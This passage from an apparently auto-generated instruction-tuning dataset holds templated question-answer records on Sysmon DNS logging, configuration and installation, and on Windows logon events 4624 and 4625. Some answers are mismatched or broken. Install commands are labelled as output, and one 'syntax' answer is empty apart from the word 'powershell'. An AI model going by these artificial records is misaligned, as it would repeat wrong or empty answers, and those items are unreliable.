Sysmon 10, this event is essential for detecting C2 communication, DNS tunneling, and domain generation algorithms (DGAs).\n\nBest suited for:\n- Detect C2 domains\n- Identify DGA activity\n- Monitor DNS tunneling\n- Track initial access via malicious domains\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-22---dns-query", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012940Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013087Z", "updated_at": "2025-12-18T00:11:32.013087Z"} +{"id": "trtp-70dbe0c9303d", "instruction": "Can Sysmon be combined with other analysis methods?", "output": "Integration points for Sysmon:\n\nSysmon Event ID 22 logs DNS queries made by processes. Added in Sysmon 10, this event is essential for detecting C2 communication, DNS tunneling, and domain generation algorithms (DGAs).\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-22---dns-query", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012940Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013101Z", "updated_at": "2025-12-18T00:11:32.013101Z"} +{"id": "trtp-49fd6d60b654", "instruction": "How do security analysts use Sysmon?", "output": "Sysmon Configuration Files\n\nSysmon configuration files are XML documents that define which events to capture and filter. Popular community configs include SwiftOnSecurity's sysmon-config and Olaf Hartong's sysmon-modular.\n\nPlatform: windows\n\nCommon uses:\n- Reduce noise\n- Focus on security-relevant events\n- Customize for environment\n- Balance coverage vs performance", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-configuration-files", "license": "original", "retrieved_at": "2025-12-18T00:11:32.013311Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013332Z", "updated_at": "2025-12-18T00:11:32.013332Z"} +{"id": "trtp-018cc9d1a2c9", "instruction": "What is the syntax for Sysmon?", "output": "Syntax for Sysmon:\n\n\n \n \n \n powershell\n \n \n \n\n\nSysmon configuration files are XML documents that define which events to capture and filter. Popular community configs include SwiftOnSecurity's sysmon-config and Olaf Hartong's sysmon-modular.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-configuration-files", "license": "original", "retrieved_at": "2025-12-18T00:11:32.013311Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013346Z", "updated_at": "2025-12-18T00:11:32.013346Z"} +{"id": "trtp-50b001c78382", "instruction": "Demonstrate Sysmon Configuration Files with an example.", "output": "Example of Sysmon Configuration Files:\n\n```\nsysmon64.exe -c sysmonconfig.xml\n```\n\nInterpretation: Config defines include/exclude rules per event type", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-configuration-files", "license": "original", "retrieved_at": "2025-12-18T00:11:32.013311Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013357Z", "updated_at": "2025-12-18T00:11:32.013357Z"} +{"id": "trtp-542e973e0982", "instruction": "What security tasks can I accomplish with Sysmon?", "output": "Use cases for Sysmon:\n\n- Reduce noise\n- Focus on security-relevant events\n- Customize for environment\n- Balance coverage vs performance\n\nSysmon configuration files are XML documents that define which events to capture and filter. Popular community configs include SwiftOnSecurity's sysmon-config and Olaf Hartong's sysmon-modular.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-configuration-files", "license": "original", "retrieved_at": "2025-12-18T00:11:32.013311Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013369Z", "updated_at": "2025-12-18T00:11:32.013369Z"} +{"id": "trtp-0ba5711ee70f", "instruction": "How do I read Sysmon output?", "output": "Interpreting Sysmon output:\n\nConfig defines include/exclude rules per event type\n\nExample output:\n```\nsysmon64.exe -c sysmonconfig.xml\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-configuration-files", "license": "original", "retrieved_at": "2025-12-18T00:11:32.013311Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013380Z", "updated_at": "2025-12-18T00:11:32.013380Z"} +{"id": "trtp-ab40992901eb", "instruction": "What best practices should I follow when using Sysmon?", "output": "Tips for using Sysmon:\n\n- Start with community config\n- Tune based on your environment\n- Test performance impact\n- Version control your config\n\nUseful for: Reduce noise, Focus on security-relevant events, Customize for environment", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-configuration-files", "license": "original", "retrieved_at": "2025-12-18T00:11:32.013311Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013393Z", "updated_at": "2025-12-18T00:11:32.013393Z"} +{"id": "trtp-df4b7e242241", "instruction": "What should I look for when using Sysmon for incident response?", "output": "Using Sysmon for threat detection:\n\nSysmon configuration files are XML documents that define which events to capture and filter. Popular community configs include SwiftOnSecurity's sysmon-config and Olaf Hartong's sysmon-modular.\n\nExample:\n```\nsysmon64.exe -c sysmonconfig.xml\n```\n\nTips:\n- Start with community config\n- Tune based on your environment", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-configuration-files", "license": "original", "retrieved_at": "2025-12-18T00:11:32.013311Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013406Z", "updated_at": "2025-12-18T00:11:32.013406Z"} +{"id": "trtp-f841fe02b272", "instruction": "How do forensic investigators use Sysmon?", "output": "Forensic analysis with Sysmon:\n\nSysmon configuration files are XML documents that define which events to capture and filter. Popular community configs include SwiftOnSecurity's sysmon-config and Olaf Hartong's sysmon-modular.\n\nForensic applications:\n- Reduce noise\n- Focus on security-relevant events\n- Customize for environment\n\nWhat to look for: Config defines include/exclude rules per event type", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-configuration-files", "license": "original", "retrieved_at": "2025-12-18T00:11:32.013311Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013418Z", "updated_at": "2025-12-18T00:11:32.013418Z"} +{"id": "trtp-fcaee54f9c70", "instruction": "How do I incorporate Sysmon into my security workflow?", "output": "Workflow for Sysmon Configuration Files:\n\n1. Understand the context: Sysmon configuration files are XML documents that define which events to capture and filter. Popular community configs include SwiftOnSecurity's sysmon-config and Olaf Hartong's sysmon-modular.\n\n2. Apply the tool:\n```\nsysmon64.exe -c sysmonconfig.xml\n```\n\n3. Common scenarios: Reduce noise, Focus on security-relevant events, Customize for environment\n\n4. Best practices:\n - Start with community config\n - Tune based on your environment", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-configuration-files", "license": "original", "retrieved_at": "2025-12-18T00:11:32.013311Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013432Z", "updated_at": "2025-12-18T00:11:32.013432Z"} +{"id": "trtp-01b63c030397", "instruction": "What are the advantages of Sysmon for security analysis?", "output": "Advantages of Sysmon:\n\nSysmon configuration files are XML documents that define which events to capture and filter. Popular community configs include SwiftOnSecurity's sysmon-config and Olaf Hartong's sysmon-modular.\n\nBest suited for:\n- Reduce noise\n- Focus on security-relevant events\n- Customize for environment\n- Balance coverage vs performance\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-configuration-files", "license": "original", "retrieved_at": "2025-12-18T00:11:32.013311Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013446Z", "updated_at": "2025-12-18T00:11:32.013446Z"} +{"id": "trtp-bb434d182317", "instruction": "How do I use Sysmon alongside other tools in my toolkit?", "output": "Integration points for Sysmon:\n\nSysmon configuration files are XML documents that define which events to capture and filter. Popular community configs include SwiftOnSecurity's sysmon-config and Olaf Hartong's sysmon-modular.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-configuration-files", "license": "original", "retrieved_at": "2025-12-18T00:11:32.013311Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013460Z", "updated_at": "2025-12-18T00:11:32.013460Z"} +{"id": "trtp-75d231abfa08", "instruction": "What is Sysmon and how is it used in security?", "output": "Sysmon Installation\n\nInstalling Sysmon involves downloading the tool from Sysinternals, creating a configuration file, and installing the service. Sysmon runs as a kernel driver and survives reboots.\n\nPlatform: windows\n\nCommon uses:\n- Deploy to endpoints\n- Update configuration\n- Migrate to new version\n- Remove for troubleshooting", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.013652Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013674Z", "updated_at": "2025-12-18T00:11:32.013674Z"} +{"id": "trtp-b4a40244ffa3", "instruction": "Show me the basic syntax for Sysmon.", "output": "Syntax for Sysmon:\n\nsysmon64.exe -accepteula -i [configfile]\n\nInstalling Sysmon involves downloading the tool from Sysinternals, creating a configuration file, and installing the service. Sysmon runs as a kernel driver and survives reboots.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.013652Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013688Z", "updated_at": "2025-12-18T00:11:32.013688Z"} +{"id": "trtp-08ee24cfae8e", "instruction": "Give me a practical example of Sysmon.", "output": "Example of Sysmon Installation:\n\n```\n# Download from Sysinternals\n# Install with config\nsysmon64.exe -accepteula -i sysmonconfig-export.xml\n\n# Update config\nsysmon64.exe -c newconfig.xml\n\n# Uninstall\nsysmon64.exe -u\n```\n\nInterpretation: Installation creates Sysmon service and driver", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.013652Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013699Z", "updated_at": "2025-12-18T00:11:32.013699Z"} +{"id": "trtp-39c7e933a251", "instruction": "When should I use Sysmon?", "output": "Use cases for Sysmon:\n\n- Deploy to endpoints\n- Update configuration\n- Migrate to new version\n- Remove for troubleshooting\n\nInstalling Sysmon involves downloading the tool from Sysinternals, creating a configuration file, and installing the service. Sysmon runs as a kernel driver and survives reboots.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.013652Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013711Z", "updated_at": "2025-12-18T00:11:32.013711Z"} +{"id": "trtp-ae46d059b42b", "instruction": "Explain the output of Sysmon.", "output": "Interpreting Sysmon output:\n\nInstallation creates Sysmon service and driver\n\nExample output:\n```\n# Download from Sysinternals\n# Install with config\nsysmon64.exe -accepteula -i sysmonconfig-export.xml\n\n# Update config\nsysmon64.exe -c newconfig.xml\n\n# Uninstall\nsysmon64.exe -u\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.013652Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013721Z", "updated_at": "2025-12-18T00:11:32.013721Z"} +{"id": "trtp-2ccb4b111aaa", "instruction": "How can I get the most out of Sysmon?", "output": "Tips for using Sysmon:\n\n- Use 64-bit version on 64-bit systems\n- Deploy via GPO or SCCM\n- Test before mass deployment\n\nUseful for: Deploy to endpoints, Update configuration, Migrate to new version", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.013652Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013734Z", "updated_at": "2025-12-18T00:11:32.013734Z"} +{"id": "trtp-1dc36e22d053", "instruction": "How can Sysmon help identify malicious activity?", "output": "Using Sysmon for threat detection:\n\nInstalling Sysmon involves downloading the tool from Sysinternals, creating a configuration file, and installing the service. Sysmon runs as a kernel driver and survives reboots.\n\nExample:\n```\n# Download from Sysinternals\n# Install with config\nsysmon64.exe -accepteula -i sysmonconfig-export.xml\n\n# Update config\nsysmon64.exe -c newconfig.xml\n\n# Uninstall\nsysmon64.exe -u\n```\n\nTips:\n- Use 64-bit version on 64-bit systems\n- Deploy via GPO or SCCM", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.013652Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013747Z", "updated_at": "2025-12-18T00:11:32.013747Z"} +{"id": "trtp-1afdfccf20de", "instruction": "How do forensic investigators use Sysmon?", "output": "Forensic analysis with Sysmon:\n\nInstalling Sysmon involves downloading the tool from Sysinternals, creating a configuration file, and installing the service. Sysmon runs as a kernel driver and survives reboots.\n\nForensic applications:\n- Deploy to endpoints\n- Update configuration\n- Migrate to new version\n\nWhat to look for: Installation creates Sysmon service and driver", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.013652Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013759Z", "updated_at": "2025-12-18T00:11:32.013759Z"} +{"id": "trtp-5c76253aa2d8", "instruction": "How do I incorporate Sysmon into my security workflow?", "output": "Workflow for Sysmon Installation:\n\n1. Understand the context: Installing Sysmon involves downloading the tool from Sysinternals, creating a configuration file, and installing the service. Sysmon runs as a kernel driver and survives reboots.\n\n2. Apply the tool:\n```\n# Download from Sysinternals\n# Install with config\nsysmon64.exe -accepteula -i sysmonconfig-export.xml\n\n# Update config\nsysmon64.exe -c newconfig.xml\n\n# Uninstall\nsysmon64.exe -u\n```\n\n3. Common scenarios: Deploy to endpoints, Update configuration, Migrate to new version\n\n4. Best practices:\n - Use 64-bit version on 64-bit systems\n - Deploy via GPO or SCCM", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.013652Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013774Z", "updated_at": "2025-12-18T00:11:32.013774Z"} +{"id": "trtp-be1fe9683abf", "instruction": "What makes Sysmon useful for this task?", "output": "Advantages of Sysmon:\n\nInstalling Sysmon involves downloading the tool from Sysinternals, creating a configuration file, and installing the service. Sysmon runs as a kernel driver and survives reboots.\n\nBest suited for:\n- Deploy to endpoints\n- Update configuration\n- Migrate to new version\n- Remove for troubleshooting\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.013652Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013787Z", "updated_at": "2025-12-18T00:11:32.013787Z"} +{"id": "trtp-05b2e0c15070", "instruction": "How do I use Sysmon alongside other tools in my toolkit?", "output": "Integration points for Sysmon:\n\nInstalling Sysmon involves downloading the tool from Sysinternals, creating a configuration file, and installing the service. Sysmon runs as a kernel driver and survives reboots.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-sysmon-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.013652Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013801Z", "updated_at": "2025-12-18T00:11:32.013801Z"} +{"id": "trtp-004ba8549532", "instruction": "What do I need to know about Windows Event Log?", "output": "Event ID 4624 - Successful Logon\n\nEvent 4624 logs successful account logons including logon type, source IP, and authentication package. Key for tracking lateral movement, remote access, and user activity.\n\nPlatform: windows\n\nCommon uses:\n- Track lateral movement\n- Identify remote access\n- Monitor service accounts\n- Detect brute force success", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4624---successful-logon", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015014Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015044Z", "updated_at": "2025-12-18T00:11:32.015044Z"} +{"id": "trtp-c7c01410318a", "instruction": "What is the syntax for Windows Event Log?", "output": "Syntax for Windows Event Log:\n\nEventID=4624\n\nEvent 4624 logs successful account logons including logon type, source IP, and authentication package. Key for tracking lateral movement, remote access, and user activity.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4624---successful-logon", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015014Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015061Z", "updated_at": "2025-12-18T00:11:32.015061Z"} +{"id": "trtp-f80afb2a0625", "instruction": "Provide an example of using Windows Event Log.", "output": "Example of Event ID 4624 - Successful Logon:\n\n```\nLogonType: 10 (RemoteInteractive)\nTargetUserName: Administrator\nIpAddress: 192.168.1.50\nAuthenticationPackageName: Negotiate\nLogonProcessName: User32\n```\n\nInterpretation: LogonType 2=Interactive, 3=Network, 10=RemoteInteractive (RDP), 7=Unlock, 4=Batch, 5=Service", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4624---successful-logon", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015014Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015073Z", "updated_at": "2025-12-18T00:11:32.015073Z"} +{"id": "trtp-e8c87f167073", "instruction": "What are the use cases for Windows Event Log?", "output": "Use cases for Windows Event Log:\n\n- Track lateral movement\n- Identify remote access\n- Monitor service accounts\n- Detect brute force success\n\nEvent 4624 logs successful account logons including logon type, source IP, and authentication package. Key for tracking lateral movement, remote access, and user activity.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4624---successful-logon", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015014Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015086Z", "updated_at": "2025-12-18T00:11:32.015086Z"} +{"id": "trtp-09e273b4b08f", "instruction": "What do the results from Windows Event Log mean?", "output": "Interpreting Windows Event Log output:\n\nLogonType 2=Interactive, 3=Network, 10=RemoteInteractive (RDP), 7=Unlock, 4=Batch, 5=Service\n\nExample output:\n```\nLogonType: 10 (RemoteInteractive)\nTargetUserName: Administrator\nIpAddress: 192.168.1.50\nAuthenticationPackageName: Negotiate\nLogonProcessName: User32\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4624---successful-logon", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015014Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015096Z", "updated_at": "2025-12-18T00:11:32.015096Z"} +{"id": "trtp-e84d5be10a30", "instruction": "How can I get the most out of Windows Event Log?", "output": "Tips for using Windows Event Log:\n\n- Type 3 from unusual sources = lateral movement\n- Type 10 = RDP session\n- Watch for service account interactive logons\n\nUseful for: Track lateral movement, Identify remote access, Monitor service accounts", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4624---successful-logon", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015014Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015109Z", "updated_at": "2025-12-18T00:11:32.015109Z"} +{"id": "trtp-321f2c9c28f4", "instruction": "What should I look for when using Windows Event Log for incident response?", "output": "Using Windows Event Log for threat detection:\n\nEvent 4624 logs successful account logons including logon type, source IP, and authentication package. Key for tracking lateral movement, remote access, and user activity.\n\nExample:\n```\nLogonType: 10 (RemoteInteractive)\nTargetUserName: Administrator\nIpAddress: 192.168.1.50\nAuthenticationPackageName: Negotiate\nLogonProcessName: User32\n```\n\nTips:\n- Type 3 from unusual sources = lateral movement\n- Type 10 = RDP session", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4624---successful-logon", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015014Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015122Z", "updated_at": "2025-12-18T00:11:32.015122Z"} +{"id": "trtp-61084c73442c", "instruction": "What artifacts does Windows Event Log analyze?", "output": "Forensic analysis with Windows Event Log:\n\nEvent 4624 logs successful account logons including logon type, source IP, and authentication package. Key for tracking lateral movement, remote access, and user activity.\n\nForensic applications:\n- Track lateral movement\n- Identify remote access\n- Monitor service accounts\n\nWhat to look for: LogonType 2=Interactive, 3=Network, 10=RemoteInteractive (RDP), 7=Unlock, 4=Batch, 5=Service", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4624---successful-logon", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015014Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015135Z", "updated_at": "2025-12-18T00:11:32.015135Z"} +{"id": "trtp-a7a8604ac444", "instruction": "What is the typical workflow for using Windows Event Log?", "output": "Workflow for Event ID 4624 - Successful Logon:\n\n1. Understand the context: Event 4624 logs successful account logons including logon type, source IP, and authentication package. Key for tracking lateral movement, remote access, and user activity.\n\n2. Apply the tool:\n```\nLogonType: 10 (RemoteInteractive)\nTargetUserName: Administrator\nIpAddress: 192.168.1.50\nAuthenticationPackageName: Negotiate\nLogonProcessName: User32\n```\n\n3. Common scenarios: Track lateral movement, Identify remote access, Monitor service accounts\n\n4. Best practices:\n - Type 3 from unusual sources = lateral movement\n - Type 10 = RDP session", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4624---successful-logon", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015014Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015150Z", "updated_at": "2025-12-18T00:11:32.015150Z"} +{"id": "trtp-09cfd881f38d", "instruction": "What makes Windows Event Log useful for this task?", "output": "Advantages of Windows Event Log:\n\nEvent 4624 logs successful account logons including logon type, source IP, and authentication package. Key for tracking lateral movement, remote access, and user activity.\n\nBest suited for:\n- Track lateral movement\n- Identify remote access\n- Monitor service accounts\n- Detect brute force success\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4624---successful-logon", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015014Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015164Z", "updated_at": "2025-12-18T00:11:32.015164Z"} +{"id": "trtp-85d3d6ed201b", "instruction": "How does Windows Event Log integrate with other security tools?", "output": "Integration points for Windows Event Log:\n\nEvent 4624 logs successful account logons including logon type, source IP, and authentication package. Key for tracking lateral movement, remote access, and user activity.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4624---successful-logon", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015014Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015178Z", "updated_at": "2025-12-18T00:11:32.015178Z"} +{"id": "trtp-ea488ee2e5ea", "instruction": "What do I need to know about Windows Event Log?", "output": "Event ID 4625 - Failed Logon\n\nEvent 4625 logs failed authentication attempts including failure reason, username, and source. Essential for detecting brute force attacks, password spraying, and credential stuffing.\n\nPlatform: windows\n\nCommon uses:\n- Detect brute force attacks\n- Identify password spraying\n- Monitor account lockouts\n- Track enumeration attempts", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4625---failed-logon", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015383Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015406Z", "updated_at": "2025-12-18T00:11:32.015406Z"} +{"id": "trtp-9f46ade3e654", "instruction": "Show me the basic syntax for Windows Event Log.", "output": "Syntax for Windows Event Log:\n\nEventID=4625\n\nEvent 4625 logs failed authentication attempts including failure reason, username, and source. Essential for detecting brute force attacks, password spraying, and credential stuffing.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4625---failed-logon", "license": "original", "retrieved_at": "2025-12-18T00:11:32.015383Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.015420Z", "updated_at": "2025-12-18T00:11:32.015420Z"} +{"id": "trtp-c631729c50de", "instruction": "Demonstrate Event ID 